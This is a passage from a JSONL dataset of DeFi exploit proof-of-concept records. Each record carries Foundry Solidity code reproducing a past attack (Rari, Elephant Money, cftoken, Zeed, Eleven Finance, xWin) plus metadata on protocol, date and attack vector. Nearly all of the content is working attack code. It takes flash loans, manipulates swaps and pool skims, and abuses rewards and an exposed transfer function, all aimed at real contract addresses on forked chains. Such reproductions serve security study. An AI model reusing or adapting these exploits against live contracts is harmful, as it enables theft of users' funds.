dei.balanceOf(address(this));\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC after paying back\", balance_of_usdc);\n\n emit log_named_uint(\"The DEI after paying back\", balance_of_dei);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.62, "quality_estimate": "medium", "title": "deus Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n ICEtherDelegate fETH_127 = ICEtherDelegate(payable(0x26267e41CeCa7C8E0f143554Af707336f27Fa051));\n\n ICErc20Delegate fusdc_127 = ICErc20Delegate(0xEbE0d1cb6A0b8569929e062d67bfbC07608f0A47);\n\n IUnitroller rari_Comptroller = IUnitroller(0x3f2D1BC6D02522dbcdb216b2e75eDDdAFE04B16F);\n\n IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_684_813); //fork mainnet at 14684813\n }\n\n function testExploit() public {\n emit log_named_uint(\"ETH Balance of fETH_127 before borrowing\", address(fETH_127).balance / 1e18);\n\n payable(address(0)).transfer(address(this).balance);\n\n emit log_named_uint(\"ETH Balance after sending to blackHole\", address(this).balance);\n\n address[] memory tokens = new address[](1);\n\n tokens[0] = address(usdc);\n\n uint256[] memory amounts = new uint256[](1);\n\n amounts[0] = 150_000_000 * 10 ** 6;\n\n vault.flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n tokens;\n amounts;\n feeAmounts;\n userData;\n\n uint256 usdc_balance = usdc.balanceOf(address(this));\n emit log_named_uint(\"Borrow USDC from balancer\", usdc_balance);\n usdc.approve(address(fusdc_127), type(uint256).max);\n\n fusdc_127.accrueInterest();\n\n fusdc_127.mint(15_000_000_000_000);\n\n uint256 fETH_Balance = fETH_127.balanceOf(address(this));\n\n emit log_named_uint(\"fETH Balance after minting\", fETH_Balance);\n\n usdc_balance = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"USDC balance after minting\", usdc_balance);\n\n address[] memory ctokens = new address[](1);\n\n ctokens[0] = address(fusdc_127);\n\n rari_Comptroller.enterMarkets(ctokens);\n\n fETH_127.borrow(1977 ether);\n\n emit log_named_uint(\"ETH Balance of fETH_127_Pool after borrowing\", address(fETH_127).balance / 1e18);\n\n emit log_named_uint(\"ETH Balance of me after borrowing\", address(this).balance / 1e18);\n\n usdc_balance = usdc.balanceOf(address(this));\n\n fusdc_127.approve(address(fusdc_127), type(uint256).max);\n\n fusdc_127.redeemUnderlying(15_000_000_000_000);\n\n usdc_balance = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"USDC balance after borrowing\", usdc_balance);\n\n usdc.transfer(address(vault), usdc_balance);\n\n usdc_balance = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"USDC balance after repayying\", usdc_balance);\n }\n\n receive() external payable {\n rari_Comptroller.exitMarket(address(fusdc_127));\n }\n}\n", "type": "exploit_poc", "protocol": "Rari", "date": "2022-04", "file_name": "Rari_exp.sol", "attack_vector": "flash_loan", "content_hash": "7ffa961e45cb89fd", "collected_at": "2026-01-07T10:59:16.519959", "_source": "postmortems", "chain": "unknown", "block_number": 14684813, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"ETH Balance of fETH_127 before borrowing\", address(fETH_127).balance / 1e18);\n\n payable(address(0)).transfer(address(this).balance);\n\n emit log_named_uint(\"ETH Balance after sending to blackHole\", address(this).balance);\n\n address[] memory tokens = new address[](1);\n\n tokens[0] = address(usdc);\n\n uint256[] memory amounts = new uint256[](1);\n\n amounts[0] = 150_000_000 * 10 ** 6;\n\n vault.flashLoan(address(this), tokens, amounts, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.62, "quality_estimate": "low", "title": "Rari Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n//Credit: W2Ning\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n\n address public BUSD_USDT_Pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;\n\n address public elephant_wbnb_Pair = 0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1;\n\n address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;\n\n address[] path_1 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688];\n\n address[] path_2 = [0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688, 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c];\n\n address[] path_3 = [0xdd325C38b12903B727D16961e61333f4871A70E0, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];\n\n address[] path_4 = [0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];\n\n IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n\n IERC20 elephant = IERC20(0xE283D0e3B8c102BAdF5E8166B73E02D96d92F688);\n\n IERC20 Trunk = IERC20(0xdd325C38b12903B727D16961e61333f4871A70E0);\n\n IRouter router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n InotVerified not_verified = InotVerified(0xD520a3B47E42a1063617A9b6273B206a07bDf834);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n constructor() {\n cheats.createSelectFork(\"bsc\", 16_886_438); // fork bsc block number 16886438\n\n elephant.approve(address(router), type(uint256).max);\n\n Trunk.approve(address(router), type(uint256).max);\n\n Trunk.approve(address(not_verified), type(uint256).max);\n\n busd.approve(address(not_verified), type(uint256).max);\n\n wbnb.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n IPancakePair(BUSDT_WBNB_Pair).swap(0, 100_000 ether, address(this), \"0x00\");\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n sender;\n data;\n amount0;\n amount1;\n\n if (msg.sender == BUSDT_WBNB_Pair) {\n IPancakePair(BUSD_USDT_Pair).swap(0, 90_000_000 ether, address(this), \"0x00\");\n } else {\n attack();\n }\n }\n\n function attack() public {\n wbnb.withdraw(100_000 ether);\n\n router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 100_000 ether}(\n 0, path_1, address(this), block.timestamp\n );\n\n uint256 balance_elephant = elephant.balanceOf(address(this));\n\n emit log_named_uint(\"The elephant after swapping\", balance_elephant / 1e9);\n\n not_verified.mint(90_000_000 ether);\n\n uint256 balance_Trunk = Trunk.balanceOf(address(this));\n\n emit log_named_uint(\"The Trunk after minting\", balance_Trunk / 1e18);\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balance_elephant, 0, path_2, address(this), block.timestamp\n );\n\n emit log_named_uint(\"The WBNB Balance after swaping\", wbnb.balanceOf(address(this)) / 1e18);\n\n balance_Trunk = Trunk.balanceOf(address(this));\n\n not_verified.redeem(balance_Trunk);\n\n emit log_named_uint(\"The BUSD after redeeming\", busd.balanceOf(address(this)) / 1e18);\n\n uint256 b3 = elephant.balanceOf(address(this));\n\n emit log_named_uint(\"The elephant after redeeming\", b3 / 1e9);\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(b3, 0, path_2, address(this), block.timestamp);\n\n emit log_named_uint(\"The WBNB Balance before paying back\", wbnb.balanceOf(address(this)) / 1e18);\n\n wbnb.transfer(BUSDT_WBNB_Pair, 100_300 ether);\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n wbnb.balanceOf(address(this)), 0, path_4, address(this), block.timestamp\n );\n\n emit log_named_uint(\"The BUSD before paying back\", busd.balanceOf(address(this)) / 1e18);\n\n busd.transfer(BUSD_USDT_Pair, 90_300_000 ether);\n\n emit log_named_uint(\"The BUSD after paying back\", busd.balanceOf(address(this)) / 1e18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Elephant_Money", "date": "2022-04", "file_name": "Elephant_Money_exp.sol", "attack_vector": null, "content_hash": "32bc54707114ab2b", "collected_at": "2026-01-07T10:59:16.520011", "_source": "postmortems", "chain": "unknown", "block_number": 16886438, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n IPancakePair(BUSDT_WBNB_Pair).swap(0, 100_000 ether, address(this), \"0x00\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.12, "quality_estimate": "low", "title": "Elephant_Money Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// source\n// https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ\n// attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0\n// test result\n\n// > forge test --contracts ./src/cftoken_exp.sol -vv\n// [\u2818] Compiling...\n// No files changed, compilation skipped\n\n// Running 2 tests for test/Counter.t.sol:CounterTest\n// [PASS] testIncrement() (gas: 28334)\n// [PASS] testSetNumber(uint256) (runs: 256, \u03bc: 27476, ~: 28409)\n// Test result: ok. 2 passed; 0 failed; finished in 16.14ms\n\n// Running 1 test for src/cftoken_exp.sol:ContractTest\n// [PASS] testExploit() (gas: 86577)\n// Logs:\n// Before exploit, cftoken balance:: 0\n// After exploit, cftoken balance:: 930000000000000000000\n\n// Test result: ok. 1 passed; 0 failed; finished in 9.72s%\n\ncontract ContractTest is Test {\n address private cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;\n address private cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 16_841_980); //fork bsc at block 16841980\n }\n\n function testExploit() public {\n emit log_named_uint(\"Before exploit, cftoken balance:\", ICFToken(cftoken).balanceOf(address(msg.sender)));\n\n ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);\n\n emit log_named_uint(\"After exploit, cftoken balance:\", ICFToken(cftoken).balanceOf(address(msg.sender)));\n }\n}\n", "type": "exploit_poc", "protocol": "cftoken", "date": "2022-04", "file_name": "cftoken_exp.sol", "attack_vector": null, "content_hash": "eb950f91ef86b90a", "collected_at": "2026-01-07T10:59:16.520066", "_source": "postmortems", "chain": "unknown", "block_number": 16841980, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Before exploit, cftoken balance:\", ICFToken(cftoken).balanceOf(address(msg.sender)));\n\n ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);\n\n emit log_named_uint(\"After exploit, cftoken balance:\", ICFToken(cftoken).balanceOf(address(msg.sender)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.82, "quality_estimate": "low", "title": "cftoken Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));\n IPancakePair usdtYeedHoSwapPair = IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);\n IPancakePair usdtYeedPair = IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);\n IPancakePair hoYeedPair = IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);\n IPancakePair zeedYeedPair = IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);\n IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);\n IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 17_132_514); // fork bsc at block 17132514\n }\n\n function testExploit() public {\n yeed.approve(address(pancakeRouter), type(uint256).max);\n (uint112 _reserve0, uint112 _reserve1,) = usdtYeedHoSwapPair.getReserves();\n usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));\n emit log_named_uint(\"Before exploit, USDT balance of attacker:\", usdt.balanceOf(msg.sender));\n address[] memory path = new address[](3);\n path[0] = address(yeed);\n path[1] = hoYeedPair.token0();\n path[2] = usdtYeedPair.token0();\n pancakeRouter.swapExactTokensForTokens(\n yeed.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 120\n );\n emit log_named_uint(\"After exploit, USDT balance of attacker:\", usdt.balanceOf(msg.sender));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n yeed.transfer(address(usdtYeedPair), amount1);\n for (uint256 i = 0; i < 10; i++) {\n usdtYeedPair.skim(address(hoYeedPair));\n hoYeedPair.skim(address(zeedYeedPair));\n zeedYeedPair.skim(address(usdtYeedPair));\n }\n\n usdtYeedPair.skim(address(this));\n hoYeedPair.skim(address(this));\n zeedYeedPair.skim(address(this));\n\n yeed.transfer(msg.sender, (amount1 * 1000) / 997);\n }\n}\n", "type": "exploit_poc", "protocol": "Zeed", "date": "2022-04", "file_name": "Zeed_exp.sol", "attack_vector": null, "content_hash": "73d4fc78a7ff07aa", "collected_at": "2026-01-07T10:59:16.520110", "_source": "postmortems", "chain": "unknown", "block_number": 17132514, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n yeed.approve(address(pancakeRouter), type(uint256).max);\n (uint112 _reserve0, uint112 _reserve1,) = usdtYeedHoSwapPair.getReserves();\n usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));\n emit log_named_uint(\"Before exploit, USDT balance of attacker:\", usdt.balanceOf(msg.sender));\n address[] memory path = new address[](3);\n path[0] = address(yeed);\n path[1] = hoYeedPair.token0();\n path[2] = usdtYeedPair.token0();\n pancakeRouter.swapExactTokensForTokens(\n yeed.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 120\n );\n emit log_named_uint(\"After exploit, USDT balance of attacker:\", usdt.balanceOf(msg.sender));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.16, "quality_estimate": "low", "title": "Zeed Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n//Credit: Cache_And_Burn\n\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nEleven Finance Exploit POC\n\ntx hash: 0x6450d8f4db09972853e948bee44f2cb54b9df786dace774106cd28820e906789\n\nhttps://peckshield.medium.com/eleven-finance-incident-root-cause-analysis-123b5675fa76*/\n\ncontract Eleven is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n IPancakePair cake_LP = IPancakePair(0x401479091d0F7b8AE437Ee8B054575cd33ea72Bd);\n\n IERC20 nrv = IERC20(0x42F6f551ae042cBe50C739158b4f0CAC0Edb9096);\n\n IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n\n address public ape_lp = 0x51e6D27FA57373d8d4C256231241053a70Cb1d93;\n\n IElevenNeverSellVault vault = IElevenNeverSellVault(0x27DD6E51BF715cFc0e2fe96Af26fC9DED89e4BE8);\n\n //Path from BUSD --> NRV\n address[] path_1 = [0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56, 0x42F6f551ae042cBe50C739158b4f0CAC0Edb9096];\n\n //Path from NRV --> BUSD\n address[] path_2 = [0x42F6f551ae042cBe50C739158b4f0CAC0Edb9096, 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56];\n\n function setUp() public {\n // fork bsc block number 8530973\n cheats.createSelectFork(\"bsc\", 8_530_973);\n\n busd.approve(address(router), type(uint256).max);\n\n busd.approve(ape_lp, type(uint256).max);\n\n nrv.approve(address(router), type(uint256).max);\n\n cake_LP.approve(address(vault), type(uint256).max);\n\n cake_LP.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n console.log(\"-------Start exploit-------\");\n\n console.log(\"attacker BUSD balance before is\", busd.balanceOf(address(this)));\n\n cheats.startPrank(0xc71e2F581b77De945C8A7A191b0B238c81f11eD6);\n\n //Take a flashloan from apeswap\n IPancakePair(ape_lp).swap(0, 953_869_628_210_538_003_222_368, address(this), \"Gimme da loot\");\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n attack();\n }\n\n function attack() public {\n console.log(\"received BUSD flashloan for\", busd.balanceOf(address(this)) / 1 ether);\n\n //Swap BUSD for NRV\n router.swapExactTokensForTokens(\n 340_631_231_201_021_740_166_440,\n 474_378_756_062_092_796_179_091,\n path_1,\n address(this),\n block.timestamp + 500 seconds\n );\n\n //Add liquidity to pancakeSwap and receive LP tokens\n router.addLiquidity(\n address(nrv),\n address(busd),\n 474_378_756_062_092_796_179_091,\n 366_962_025_372_860_720_681_305,\n 474_378_756_062_092_796_179_091,\n 366_962_025_372_860_720_681_305,\n address(this),\n block.timestamp + 500 seconds\n );\n\n //Deposit LP tokens into Eleven vault\n vault.depositAll();\n\n //Call emergency Burn\n vault.emergencyBurn();\n\n //withdraw from vault\n vault.withdrawAll();\n\n //remove liquidity from pancakeSwap\n router.removeLiquidity(\n address(nrv),\n address(busd),\n 823_030_594_158_097_624_422_918,\n 449_328_228_768_287_545_012_441,\n 347_583_855_261_065_794_904_977,\n address(this),\n block.timestamp + 500 seconds\n );\n\n //swap NRV for BUSD\n router.swapExactTokensForTokens(\n 948_757_512_124_185_592_358_179,\n 624_113_299_151_540_843_640_146,\n path_2,\n address(this),\n block.timestamp + 500 seconds\n );\n\n //repay flashloan\n busd.transfer(ape_lp, 956_739_847_753_799_401_426_648);\n\n console.log(\"-------Finish exploit-------\");\n\n console.log(\"attacker BUSD balance after is\", busd.balanceOf(address(this)) / 1 ether);\n }\n}\n", "type": "exploit_poc", "protocol": "Eleven", "date": "2021-06", "file_name": "Eleven_exp.sol", "attack_vector": "flash_loan", "content_hash": "7dcfe8b9845dccff", "collected_at": "2026-01-07T10:59:16.520153", "_source": "postmortems", "chain": "unknown", "block_number": 8530973, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n console.log(\"-------Start exploit-------\");\n\n console.log(\"attacker BUSD balance before is\", busd.balanceOf(address(this)));\n\n cheats.startPrank(0xc71e2F581b77De945C8A7A191b0B238c81f11eD6);\n\n //Take a flashloan from apeswap\n IPancakePair(ape_lp).swap(0, 953_869_628_210_538_003_222_368, address(this), \"Gimme da loot\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.05, "quality_estimate": "medium", "title": "Eleven Exploit (2021-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// Attacker : https://bscscan.com/address/0xb63f0d8b9aa0c4e68d5630f54bfefc6cf2c2ad19\n// Attack Contract : https://bscscan.com/address/0x67d3737c410f4d206012cad5cb41b2e155061945\n// Attack Tx : https://bscscan.com/tx/0xba0fa8c150b2408eec9bbbbfe63f9ca63e99f3ff53ac46ee08d691883ac05c1d\n// @Analysis\n// https://peckshield.medium.com/xwin-finance-incident-root-cause-analysis-71d0820e6bc1\n// @Summary\n// This incident was due to an invalid slippage control in the protocol, which is exploited in a flashloan to obtain extra xWin rewards.\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\nstruct TradeParams {\n address xFundAddress;\n uint256 amount;\n uint256 priceImpactTolerance;\n uint256 deadline;\n bool returnInBase;\n address referral;\n}\n\ninterface IBank {\n function flashloan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ninterface IxWinDefi {\n function Subscribe(\n TradeParams memory _tradeParams\n ) external payable;\n function Redeem(\n TradeParams memory _tradeParams\n ) external payable;\n function WithdrawReward() external payable;\n}\n\ncontract SimpleAccount {\n IxWinDefi xWinDefi = IxWinDefi(0x1Bf7fe7568211ecfF68B6bC7CCAd31eCd8fe8092);\n\n IERC20 PCLPXWIN = IERC20(0x8f52e0C41164169818C1FB04B263FDC7c1e56088);\n IERC20 XWIN = IERC20(0xd88ca08d8eec1E9E09562213Ae83A7853ebB5d28);\n\n address private owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n fallback() external payable {}\n\n function subscribe() public {\n require(msg.sender == owner, \"only owner\");\n uint256 bnbbalance = address(this).balance;\n TradeParams memory tradeParams = TradeParams({\n xFundAddress: address(PCLPXWIN),\n amount: bnbbalance,\n priceImpactTolerance: 10_000,\n deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,\n returnInBase: false,\n referral: 0x0000000000000000000000000000000000000000\n });\n xWinDefi.Subscribe{value: 11}(tradeParams);\n }\n\n function withdrawRewards() external {\n require(msg.sender == owner, \"only owner\");\n xWinDefi.WithdrawReward();\n XWIN.transfer(address(owner), XWIN.balanceOf(address(this)));\n }\n}\n\ncontract XWinExpTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IBank bank = IBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);\n IxWinDefi xWinDefi = IxWinDefi(0x1Bf7fe7568211ecfF68B6bC7CCAd31eCd8fe8092);\n\n IPancakePair xwinwbnbpair = IPancakePair(0x2D74b7DbF2835aCadd8d4eF75B841c01E1a68383);\n IPancakePair xwinwbnbpair2 = IPancakePair(0xD4A3Dcf47887636B19eD1b54AAb722Bd620e5fb4);\n\n IERC20 XWIN = IERC20(0xd88ca08d8eec1E9E09562213Ae83A7853ebB5d28);\n WETH9 WBNB = WETH9(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 PCLPXWIN = IERC20(0x8f52e0C41164169818C1FB04B263FDC7c1e56088);\n\n address payable private repayAddr = payable(0xc78248D676DeBB4597e88071D3d889eCA70E5469);\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 8_589_725);\n deal(address(this), 0);\n }\n\n function testExploit() external {\n bank.flashloan(address(this), 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB, 76_000_000_000_000_000_000_000, \"\");\n emit log_named_decimal_uint(\"Attacker BNB balance after exploit\", address(this).balance, 18);\n }\n\n function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external {\n require(address(this).balance == 76_000_000_000_000_000_000_000, \"error\");\n SimpleAccount account1 = new SimpleAccount();\n payable(address(account1)).call{value: 11}(\"\");\n account1.subscribe();\n for (uint256 i = 0; i < 20; i++) {\n uint256 bnbbalance = address(this).balance;\n TradeParams memory tradeParams = TradeParams({\n xFundAddress: address(PCLPXWIN),\n amount: bnbbalance,\n priceImpactTolerance: 10_000,\n deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,\n returnInBase: false,\n referral: address(account1)\n });\n xWinDefi.Subscribe{value: bnbbalance}(tradeParams);\n\n (uint112 reserve0, uint112 reserve1,) = xwinwbnbpair.getReserves();\n uint256 xwinbalance = XWIN.balanceOf(address(this));\n uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0);\n XWIN.transfer(address(xwinwbnbpair), xwinbalance);\n\n xwinwbnbpair.swap(wbnbout, 0, address(this), \"\");\n WBNB.withdraw(WBNB.balanceOf(address(this)));\n // emit log_named_decimal_uint(\n // \"Attacker BNB balance in exploit\",\n // bnbbalance,\n // 18\n // );\n redeem();\n }\n\n account1.withdrawRewards();\n emit log_named_decimal_uint(\n \"Attacker XWIN balance after exploit\", XWIN.balanceOf(address(this)), XWIN.decimals()\n );\n uint256 xwinbalance = XWIN.balanceOf(address(this));\n (uint112 reserve0, uint112 reserve1,) = xwinwbnbpair2.getReserves();\n uint256 wbnbout = getAmountOut(xwinbalance, reserve1, reserve0);\n XWIN.transfer(address(xwinwbnbpair2), xwinbalance);\n xwinwbnbpair2.swap(wbnbout, 0, address(this), \"\");\n\n require(WBNB.balanceOf(address(this)) > fee, \"must great than fee\");\n WBNB.withdraw(WBNB.balanceOf(address(this)));\n\n payable(repayAddr).call{value: amount + fee}(\"\");\n }\n\n function redeem() public payable {\n PCLPXWIN.approve(\n address(xWinDefi), 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000\n );\n uint256 pclpxwinbalance = PCLPXWIN.balanceOf(address(this));\n TradeParams memory tradeParams = TradeParams({\n xFundAddress: address(PCLPXWIN),\n amount: pclpxwinbalance,\n priceImpactTolerance: 10_000,\n deadline: 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000,\n returnInBase: false,\n referral: 0x0000000000000000000000000000000000000000\n });\n xWinDefi.Redeem(tradeParams);\n }\n\n fallback() external payable {}\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountOut) {\n require(amountIn > 0, \"PancakeLibrary: INSUFFICIENT_INPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"PancakeLibrary: INSUFFICIENT_LIQUIDITY\");\n uint256 amountInWithFee = amountIn * (10_000 - 25);\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = reserveIn * 10_000 + amountInWithFee;\n amountOut = numerator / denominator;\n }\n}\n", "type": "exploit_poc", "protocol": "xWin", "date": "2021-06", "file_name": "xWin_exp.sol", "attack_vector": "flash_loan", "content_hash": "0f20938c803ce8f7", "collected_at": 